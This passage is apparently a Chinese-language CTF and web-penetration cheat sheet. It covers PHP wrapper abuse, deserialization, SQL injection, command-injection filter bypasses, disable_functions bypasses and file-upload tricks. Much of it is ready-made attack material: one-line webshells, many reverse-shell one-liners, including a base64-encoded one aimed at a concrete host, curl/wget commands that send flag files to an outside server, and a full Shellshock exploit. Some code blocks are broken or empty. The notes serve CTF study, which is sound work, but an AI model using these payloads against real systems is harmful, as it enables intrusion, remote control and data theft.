- 仅
open
没有输出 - 哈希之后输出
- 等等
自动化攻击脚本使用:
filters_chain_oracle_exploit --help # 帮助
filters_chain_oracle_exploit --target http://xxxxxx/ --file /flag --parameter shell # 读取/flag
phar://
phar,这是一种类似于压缩文件的东西,类比jar
构造phar:
<?php
$payload = '<?php eval($_REQUEST["shell"]); ?>' //一句话木马
$phar = new Phar("example.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("69.php", "$payload"); //添加要压缩的文件
// $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
$phar->stopBuffering();
?>
利用phar://
读取:phar://xxxxxxxxxxxxxxxxxxxxxxxx.zip/69
phar://伪协议:
这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马shell。php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式
data://
条件:
-
allow_url_fopen:on
-
allow_url_include: on
作用:自 PHP>=5.2.0
起,可以使用 data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
用法:
data://text/plain,<?php phpinfo();
data://text/plain;base64,[Base64编码后的代码]
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
推荐使用 base64
编码进行参数的传递
反序列化
定义
- 序列化 是将 PHP 对象转换为字符串的过程,可以使用
serialize()
函数来实现。该函数将对象的状态以及它的类名和属性值编码为一个字符串。序列化后的字符串可以存储在文件中,存储在数据库中,或者通过网络传输到其他地方。 - 反序列化 是将序列化后的字符串转换回 PHP 对象的过程,可以使用
unserialize()
函数来实现。该函数会将序列化的字符串解码,并将其转换回原始的 PHP 对象。
序列化
我们在输出的时候都会先编码后输出,以免遇到保护和私有类序列化后不可见字符丢失的问题。
$ta = new wllm();
echo urlencode(serialize($ta));
- r:reference 对象引用 && R:pointer reference 指针引用
<?php
class A{
}
class B{
public $ClassA;
public $refer;
public $pointer;
public function __construct(){
$this->ClassA = new A();
$this->refer = $this->ClassA;
$this->pointer = &$this->ClassA;
}
}
$a = new B();
echo serialize($a);
反序列化
如果 unserialize()
在执行时定义了 __destruct()
或 __wakeup()
函数,则有可能导致代码执行。例:
<?php
class Example {
var $var = "";
function __destruct() {
eval($this->var);
}
}
unserialize($_GET["saved_code"]);
?>
攻击 payload:
http://www.a.com/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}
如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法。
序列化字符串中,若表示对象属性个数的值大于真实的属性个数时则会跳过__wakeup的执行:即上文payload中"Example":
与:{s:3:"var"
中的 1。
魔术方法
在 PHP 的序列化中,魔术方法(Magic Methods)是一组特殊的方法,这些方法以双下划线(__
)作为前缀,可以在特定的序列化阶段触发从而使开发者能够进一步的控制 序列化 / 反序列化 的过程。
一般在题目中常见的几个方法如下:
__wakeup() //------ 执行unserialize()时,先会调用这个函数
__sleep() //------- 执行serialize()时,先会调用这个函数
__destruct() //---- 对象被销毁时触发
__call() //-------- 在对象上下文中调用不可访问的方法时触发
__callStatic() //-- 在静态上下文中调用不可访问的方法时触发
__get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
__set() //--------- 用于将数据写入不可访问的属性
__isset() //------- 在不可访问的属性上调用isset()或empty()触发
__unset() //------- 在不可访问的属性上使用unset()时触发
__toString() //---- 把类当作字符串使用时触发
__invoke() //------ 当尝试将对象调用为函数时触发
一份比较全面的表格:
magicMethods | attribute |
---|---|
__construct | 当一个对象被创建时自动调用这个方法,可以用来初始化对象的属性。 |
__destruct | 当一个对象被销毁时自动调用这个方法,可以用来释放对象占用的资源。 |
__call | 在对象中调用一个不存在的方法时自动调用这个方法,可以用来实现动态方法调用。 |
__callStatic | 在静态上下文中调用一个不存在的方法时自动调用这个方法,可以用来实现动态静态方法调用。 |
__get | 当一个对象的属性被读取时自动调用这个方法,可以用来实现属性的访问控制。 |
__set | 当一个对象的属性被设置时自动调用这个方法,可以用来实现属性的访问控制。 |
__isset | 当使用 isset() 或 empty() 测试一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。 |
__unset | 当使用 unset() 删除一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。 |
__toString | 当一个对象被转换为字符串时自动调用这个方法,可以用来实现对象的字符串表示。 |
__invoke | 当一个对象被作为函数调用时自动调用这个方法,可以用来实现对象的可调用性。 |
__set_state | 当使用 var_export() 导出一个对象时自动调用这个方法,可以用来实现对象的序列化和反序列化。 |
__clone | 当一个对象被克隆时自动调用这个方法,可以用来实现对象的克隆。 |
__debugInfo | 当使用 var_dump() 或 print_r() 输出一个对象时自动调用这个方法,可以用来控制对象的调试信息输出。 |
__sleep | 在对象被序列化之前自动调用这个方法,可以用来控制哪些属性被序列化。 |
__wakeup | 在对象被反序列化之后自动调用这个方法,可以用来重新初始化对象的属性。 |
匿名类
其它
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。
Java
Fastjson 反序列化漏洞
Fastjson 序列化对象的方法主要是toJSONString
方法,而反序列化还原对象的方法有3个:
parseObject(String text)
parse(String text)
parseObject(Srting text, Class\clazz)
在序列化和反序列化的过程中会自动去调用反序列化对象中的 getter、setter方法以及构造函数,这就是 Fastjson 反序列化漏洞产生的原因。
序列化
JSON.toJSONString(String)
SQL注入
数据库结构
如图所示 数据库 为层级结构:
+数据库 ( database )
+ - 表_user ( table_user )
+ - 表_users ( table_users )
+ + - 列_id (column_id)
+ + - 列_username (column_username)
+ + - 列_password (column_password)
+ + + - 数据
+ + + - 数据
常用语法
UNION
使用 UNION 的时候要注意两个表的列数量必须相同。
LIMIT
后面一个参数:返回表中前number行数据。
后面两个参数 a,b:返回第 a+1-b 行数据。
Order by
SELECT column1, column2, ... FROM table_name [WHERE condition] ORDER BY column_name [ASC|DESC];
column_name表示要按照哪一列进行排序,ASC或DESC表示升序或降序排列。可以使用多个列名来进行排序,多个列名之间用逗号分隔。可以用来判断列数,column_name 若不存在会报错。
注释符
# 单行注释
-- 单行注释
/*行内注释,可用于替换空格*/
/*!行内注释 */
常用参数
常用参数:
user()
:当前数据库用户database()
:当前数据库名version()
:当前使用的数据库版本@@datadir
:数据库存储数据路径concat()
:联合数据,用于联合两条数据结果。如concat(username,0x3a,password)
group_concat()
:和concat()
类似,如group_concat(DISTINCT+user,0x3a,password)
,用于把多条数据一次注入出来concat_ws()
:用法类似hex()
和unhex()
:用于 hex 编码解码ASCII()
:返回字符的 ASCII 码值CHAR()
:把整数转换为对应的字符load_file()
:以文本方式读取文件,在 Windows 中,路径设置为\\
select xxoo into outfile '路径'
:权限较高时可直接写文件
万能密码
sqlmap
基本使用
格式:http(s)://targeturl[:port]/[…]
例如:sqlmap -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
从文件中加载HTTP请求
参数:-r xxxxx
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
比如文本文件内如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
当请求是HTTPS的时候你需要配合这个--force-ssl参数来使用,或者你可以在Host头后面加上:443
post 数据
参数:--data
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
例子:
sqlmap -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
运行自定义的SQL语句
参数:--sql-query
,--sql-shell
列出并破解数据库用户的hash
参数:--passwords
当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
基本注入方式
获取数据库名
SELECT database();
SELECT schema_name FROM information_schema.schemata;
获取表名
-- MySQL 4版本时用version=9,MySQL 5版本时用version=10
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; /* 列出当前数据库中的表 */
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database(); /* 列出所有用户自定义数据库中的表 */
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
获取列名
SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
根据列名查询所在的表
-- 查询字段名为 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
-- 查询字段名中包含 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
数字型注入
报错注入
updatexml()
updatexml()
是MySQL中的一种XML处理函数,它用于更新XML格式的数 据,其标准的用法如下:
UPDATEXML(xml_target, xpath_expr, new_value)
其中,xml_target
是要更新的XML数据,xpath_expr
是要更新的节点路 径,new_value
是新的节点值。
但是这个函数有一个缺陷,如果二个参数包含特殊符号时会报错,并且会第二个参数的内容显示在报错信息中。
我们用 concat()
函数 将查询语句和特殊符号拼接 在一起,就可以将查询结果显示在报错信息中
SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e,version()), 3)
输出:
mysql> SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e,version()), 3);
1105 - XPATH syntax error: '~8.0.12'
不过要注意的是 updatexml()
的报错长度存在字符长度限制,目前有两种方法来解决这个问题:
LIMIT()
SELECT username, password FROM users WHERE id = 1 and updatexml(1,concat(0x7e,
(select username from users
limit 1,1)),
3);
# 不断改变limit NUM,1 的值逐行获取
substr()
SELECT username, password FROM users WHERE id = 1 and updatexml(1,concat(0x7e,
substr(
(select group_concat(username) from users),
1,31)
),3);
|| 在SQL中的妙用
后端既然能做到数字回显字母不回显,说明有一个 或 结构, 而且不直接回显flag,但作为一道题目,from一定是from flag。
select $_POST['query'] || flag from flag
sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
堆叠注入知识:
command1;command2 顺序执行
command1 || command2 如果command1执行失败,则执行command2(这里||是逻辑或)
command1 && command2 如果command1执行成功,则执行command2
所以select $_POST['query'] || flag from flag 我们输入数字可以,但是字符串不行,
因为如果是字符串相当于是字段名,但是Flag表里没有你随机输入的字段名
方法一:
所以可以构建 *,1,后端语句就是--select *,1 || flag from flag
方法二:
Payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
后端语句:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
其实等于:select concat(1,flag) from Flag
RCE 命令执行
工具
commix
Commix([comm]and [i]njection e[x]ploiter的缩写)是一个开源渗透测试工具,由Anastasios Stasinopoulos(@ancst)编写,可自动检测和利用命令注入漏洞。
基本使用
# Exploiting Damn Vulnerable Web Application:
commix --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=127.0.0.1&Submit=submit" --cookie="security=low; PHPSESSID=nq30op434117mo7o2oe5bl7is4" # Low level OS command injection
commix --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=127.0.0.1&Submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4" # Medium level OS command injection
commix --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=127.0.0.1&Submit=submit" --cookie="security=high; PHPSESSID=nq30op434117mo7o2oe5bl7is4" --technique=f --web-root="/var/www/html/" # High level OS command injection
Usage Examples · commixproject/commix Wiki (github.com)
常用函数
PHP
PHP 代码执行:
eval()
: 执行字符串中的 PHP 代码。例如:eval('$x = 5;');
会设置变量$x
的值为 5。记得加分号!assert()
: 用于调试,检查一个条件是否为 true。create_function( 传入的参数, 执行函数)
: 内在的运行逻辑:function(参数){ 执行函数;}
,第二个参数推荐为}system('tac /flag');//
命令执行:
system()
: 执行外部程序或系统命令,输出并返回最后一行shell结果。例如:system("ls");
会执行ls
命令并显示输出。shell_exec()
: 执行外部程序或系统命令。无回显,返回shell结果exec()
: 执行外部程序或系统命令。不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。passthru()
: 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。-
pcntl_exec()
:在当前进程空间执行指定程序,无回显,返回 false,利用见下方“反弹shell”章节string $path
:二进制文件 或 指定了一个可执行文件路径标头的脚本 路径array $args = []
:要传递给程序的参数的字符串数组array $env_vars = []
:要传递给程序作为环境变量的key => value
格式的字符串数组
-
``:反引号在PHP中是一个执行操作符。在反引号中的字符串会被当作DOS命令(在UNIX/Linux中被当作shell命令)执行,并返回其输出。
文件读取:
include()
: 导入并执行指定的 PHP 文件。例如:include('config.php');
会导入并执行config.php
文件中的代码。require()
: 类似于include()
,但如果文件不存在,则会产生致命错误。include_once()
,require_once()
: 与include
和require
类似,但只导入文件一次。show_source()
/highlight_file()
:语法高亮一个文件func(string $filename, bool $return = false): string|bool
fopen()
: 打开一个文件或 URL。例如:$file = fopen("test.txt", "r");
会以只读模式打开test.txt
。file_get_contents()
: 读取文件的全部内容到一个字符串。例如:$content = file_get_contents("test.txt");
file_put_contents()
: 将一个字符串写入文件。例如:file_put_contents("test.txt", "Hello World!");
查看目录:
scandir()
:列出指定路径中的文件和目录
显示函数:
echo
:print
:print_r()
:用于打印变量,以更容易理解的形式展示。
bash/sh
tee
:类似于 >
PHP常用绕过
preg_match 正则匹配回溯绕过
当 preg_match 这个函数进行匹配时是匹配完后才根据匹配到与否来返回 bool 值,如果匹配到也要匹配完后才返回true,而且在匹配过程中要匹配的第一个字符与字符串中的第一个进行匹配,如果匹配成功就一直匹配下去,直至匹配不成功就到第二个要匹配的字符,如果第二个匹配的字符成功了就一直匹配下去,如果不成功就吐出原匹配好的字符串最右边的一个字符进行匹配,如果还不成功就继续吐,直至匹配成功才到下一个要匹配的字符,但是我们知道,既然前一个匹配的字符成功了就肯定不符合下一个匹配的字符。哪这个回溯就没有什么用了,所以要利用这个特性就要有一个特殊的字符——.*
这个字符表示可以匹配任意的字符,那么按上面说的匹配机制, .*
将会一直匹配到最后字符串的最后,然后轮到下一个字符,这样回溯才有它的利用价值
这样匹配就实现了回溯,这里回溯有一个回溯限制次数——100 万次
当回溯超出这个次数,还没吐完的字符串就可以逃逸匹配
利用这个特性我们可以逃逸我们想要的语句,只要在我们的语句后加上100万个字符即可
等匹配超过这个次数时我们的语句自然就可以逃逸掉了
PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户
import requests
url = 'http://1.14.71.254:28288/'
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)--
过滤下划线
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM
=>CTF_SHOW.COM
parse_url 的漏洞
http://1.14.71.254:28023///level_level_4.php?NI_SA_=txw4ever
tips:parse_url()会把//认为是相对路径(5.4.7以前)
总结: 1.对于高版本的php的来说 直接/// 三个斜杠就可以直接解决
取反绕过过滤字母
PHP 5无法使用取反。
通过URL编码取反绕过正则实现RCE,即对需要使用的函数进行取反,然后再进行URL 编码;
因为取反操作后基本上用的都是不可见字符,所以不会触发正则匹配。
对于没有参数的函数,比如phpinfo();
,对phpinfo取反编码再取反即可:
echo urlencode(~'system');
// %8C%86%8C%8B%9A%92
echo urlencode(~'cat /fll*');
// %93%8C%DF%D0 ls
注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行。
再分别对它们再次进行取反操作,构造payload:?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
或者:?mess=$_=~%8F%97%8F%96%91%99%90;$_();
echo 绕过
?><?= `cat /flag`?>
解释一下,<?=?>
则是相当于<? echo>
,payload最前面?>
用于闭合,payload后面一部分相当于echo
+反引号
执行命令。
"php" 绕过
<?php ?>
改为 <?= phpinfo();?>
其它常用绕过
无字母RCE
脚本:bashFuck
无字母数字 RCE
使用 文件上传 - PHP - POST 临时文件机制实现任意文件上传 的技巧上传文件,同时执行 . /???/????????[@-[
开盲盒式执行(可能要尝试多次)。
过滤空格
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)#不太行
<(cat</flag)
{cat,flag}
过滤关键字
替代
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
strings:
find:列出当前目录下的文件以及子目录所有文件
curl: curl file:///flag123/flag
bash: bash -v flag
rev:逆向
使用转义符号
ca\t /fl\ag
cat fl''ag
拼接法
a=fl;b=ag;cat$IFS$a$b
使用空变量\$*和\$@,\$x,\${x}绕过
ca$*t flag
ca''t flag
反引号绕过
cat `ls`
Base64编码绕过
echo 'cat' | base64
`echo 'Y2F0Cg==' | base64 -d` /flag
正则表达式绕过
?
*
无回显RCE
单指令
- 在自己的公网服务器上构建php环境,代码如下:
```php
```
- 构造请求
``bash
curl http://ip:41080/?data=
cat flagwget http://ip:41080/?data=
cat flag`
# or http://alistu.besti.club:41080/
# 反弹shell bash -i >&/dev/tcp/ip/port 0>&1 #我的 bash -i >&/dev/tcp/ip/41800 0>&1 echo 'YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTMwLjExMy4yMjkvNDE4MDAgMD4mMQo='|base64 -d|bash
echo 'YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTMwLjExMy4yMjkvODAwMCAwPiYxCg=='|base64 -d|bash #监听 nc -lvvp 8000 ```
-
有时会读取不全,读取不全的话我们可以进行一个编码,如下:
bash curl http://ip:41080/?data=`cat flag | base64` wget http://ip:41080/?data=`cat flag | base64`
反弹shell
监听:
nc -lvp 2333
确定可选监听方式:
whereis nc bash python php exec lua perl ruby
Linux:
bash 反弹shell
bash -i >& /dev/tcp/ip/2333 0>&1
bash -c "bash -i >&/dev/tcp/ip/2333 0>&1"
Python 反弹shell
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(('ip',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
nc 反弹shell
nc -e /bin/bash ip 2333
PHP 反弹shell
php -r '$sock=fsockopen("ip",2333);exec("/bin/bash -i <&3 >&3 2>&3");'
exec 反弹
0<&196;exec 196<>/dev/tcp/ip/2333; sh <&196 >&196 2>&196
perl 反弹
perl -e 'use Socket;$i="ip";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
awk 反弹
awk 'BEGIN{s="/inet/tcp/0/ip/2333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
telnet反弹
需要在攻击主机上分别监听4567和7654端口,执行反弹shell命令后,在4567终端输入命令,7654查看命令执行后的结果
# 攻击者:
nc -nvlp 4567 #输入命令
nc -nvlp 7654 #输出命令
# 受害者:
telnet 192.168.239.128 4567 | /bin/bash | telnet 192.168.239.128 7654
pcntl_exec (PHP)
条件:–enable-pcntl
pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("ip",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
写shell
echo '<?php eval($_POST[1]); ?>' > 1.php
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d > 2.php #使用bashfuck时除去引号
# 绕过 >
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh
PHP disable_functions 绕过
disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。
利用Windows组件COM绕过
查看com.allow_dcom
是否开启,这个默认是不开启的。
创建一个COM对象,通过调用COM对象的exec
替我们执行命令:
<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
$command = $_GET['cmd'];
$wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wshit->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}
elseif($wsh == 'application') {
$command = $_GET['cmd'];
$wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
$exec = $wshit->ShellExecute("cmd","/c ".$command);
}
else {
echo(0);
}
?>
利用Linux环境变量LD_PRELOAD
LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。
总的来说就是=LD_PRELOAD
指定的动态链接库文件,会在其它文件调用之前先被调用,借此可以达到劫持的效果。
思路为:
- 创建一个.so文件,linux的动态链接库文件
- 使用putenv函数将
LD_PRELOAD
路径设置为我们自己创建的动态链接库文件 - 利用某个函数去触发该动态链接库
利用脚本
条件:PHP 支持putenv()、mail() 即可
bypass_disablefunc.php,bypass_disablefunc_x64.so或bypass_disablefunc_x86.so,bypass_disablefunc.c 将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so传到目标有权限的目录中。 这里很有可能无法直接上传到web目录,解决办法就是上传到有权限的目录下,并用include去包含。
注意区分post和get
利用PHP7.4 FFI绕过
条件:FFI开启,并且ffi.enable需要设置为true
FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。 当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。 具体请参考Foreign Function Interface
使用FFI::cdef创建一个新的FFI对象,通过c语言的system去执行,绕过disable functions。
将返回结果写入/tmp/SD,并在每次读出结果后用unlink()函数删除它。
<?php
$cmd=$_GET['cmd'];
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("$cmd > /tmp/SD"); //由GET传参的任意代码执行
echo file_get_contents("/tmp/SD");
@unlink("/tmp/SD");
?>
利用Bash Shellshock(CVE-2014-6271)破壳漏洞
利用条件:php < 5.6.2 & bash <= 4.3(破壳)
Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
简单测试是否存在破壳漏洞:
命令行输入env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果输出了vulnerable
,则说明存在bash破壳漏洞
EXP如下:
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
//mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
选择可上传目录路径,上传exp,包含文件执行
利用imap_open()绕过
利用Pcntl组件
利用ImageMagick 漏洞绕过(CVE-2016–3714)
利用 Apache Mod CGI
利用条件:
- Apache + PHP (apache 使用 apache_mod_php)
- Apache 开启了 cgi, rewrite
- Web 目录给了 AllowOverride 权限
当Apache 开启了cgi, rewrite时,我们可以利用.htaccess文件,临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置。
在web目录下上传.htaccess
文件:
Options +ExecCGI
AddHandler cgi-script .ant
上传shell.ant(后缀名任意)
#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id
由于目标是liunx系统,linux中CGI比较严格。这里也需要去liunx系统创建文件上传,如果使用windows创建文件并上传是无法解析的(盲猜换行问题)。
直接访问shell.xxx,需要有执行权限。
利用攻击PHP-FPM
利用 GC UAF
利用条件
- Linux 操作系统
- PHP7.0 - all versions to date
- PHP7.1 - all versions to date
- PHP7.2 - all versions to date
- PHP7.3 - all versions to date
通过PHP垃圾收集器中堆溢出来绕过 disable_functions 并执行系统命令。
使用php7-gc-bypass脚本,上传其有权限的目录,包含这个文件即可。
或使用 antaword 插件。
利用 Json Serializer UAF
利用条件
- Linux 操作系统
- PHP7.1 - all versions to date
- PHP7.2 < 7.2.19 (released: 30 May 2019)
- PHP7.3 < 7.3.6 (released: 30 May 2019)
使用脚本
同上,上传+包含/插件。
利用Backtrace UAF
利用条件
- Linux 操作系统
- PHP7.0 - all versions to date
- PHP7.1 - all versions to date
- PHP7.2 - all versions to date
- PHP7.3 < 7.3.15 (released 20 Feb 2020)
- PHP7.4 < 7.4.3 (released 20 Feb 2020)
利用iconv
利用条件
- Linux 操作系统
putenv
iconv
- 存在可写的目录, 需要上传
.so
文件
使用蚁剑 iconv 插件bypass,创建副本后,将url改为/.antproxy.php
文件上传
工具
fuxploider
Fuxploider 是一种开源渗透测试工具,可自动检测和利用文件上传表单缺陷的过程。该工具能够检测允许上传的文件类型,并能够检测哪种技术最适合在所需的 Web 服务器上上传 Web Shell 或任何恶意文件。
基本使用
fuxploider --url https://awesomeFileUploadService.com --not-regex "wrong file type"
通用检查绕过
后缀名绕过
- 后缀大小写
- 双写
- 特殊后缀
.php5
代替.php
Content-Type 检测文件类型
抓包修改 Content-Type
类型,使其符合白名单规则。
- 图片
- JPG:
image/jpeg
- PNG:
image/png
- GIF:
image/gif
- JPG:
- 压缩包
- ZIP:
application/x-zip-compressed
- ZIP:
- 文本
- 纯文本:
text/plain
- HTML:
text/html
- XML:
text/xml
- 纯文本:
- 脚本/程序
- 通用:
application/octet-stream
- 通用:
- 表单:
application/x-www-form-urlencoded
修改包内容的大小绕过 WAF
限制压缩文件
利用 phar 伪协议。
通用修改绕过
服务端添加后缀
尝试 %00
截断。
Apache
.htaccess
AddHandler php5-script .gif
AddHandler php7-script .gif
AddType application/x-httpd-php .gif
SetHandler application/x-httpd-php
# \ 注释后面的
解析漏洞
Apache 对后缀解析是从右向左的
phpshell.php.rar.rar.rar.rar
因为 Apache 不认识 .rar
这个文件类型,所以会一直遍历后缀到 .php
,然后认为这是一个 PHP 文件。
Nginx
PHP CGI 路径解析漏洞
当访问 http://www.a.com/path/test.jpg/notexist.php
时,会将 test.jpg
当做 PHP 解析, notexist.php
是不存在的文件。此时 Nginx 的配置如下
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
include fastcgi_param;
}
PHP
POST 临时文件机制实现任意文件上传
向 PHP 发送 Post 数据包,如果数据包中包含文件,无论 php 代码中有没有处理文件上传的逻辑,php 都会将这个文件保存为一个临时文件:
- 该文件默认存储在
/tmp
目录中『可通过php.ini
的upload_tmp_dir
指定存储位置』 - 文件名为
php[6个随机字符]
,例:phpG4ef0q
- 若本次请求正常结束,临时文件会被自动删除
- 若非正常结束,比如崩溃,临时文件可能会被永久保留
在文件包含漏洞找不到可以利用的文件时,即可利用这个方法,找到临时文件名,然后包含之!
POST /?code=O%3A6%3A%22icunqi%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22%2F%3F%3F%3F%2F%5B%60-%7B%5D%22%3B%7D HTTP/1.1
Host: 39.106.48.123:28692
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714
Connection: close
-----------------------------7dbff1ded0714
Content-Disposition: form-data; name="file"; filename="test.txt"
#!/bin/sh
whoami
-----------------------------7dbff1ded0714--
获取临时文件名
$_FILES
可以通过 $_FILES
获取文件信息
Array
(
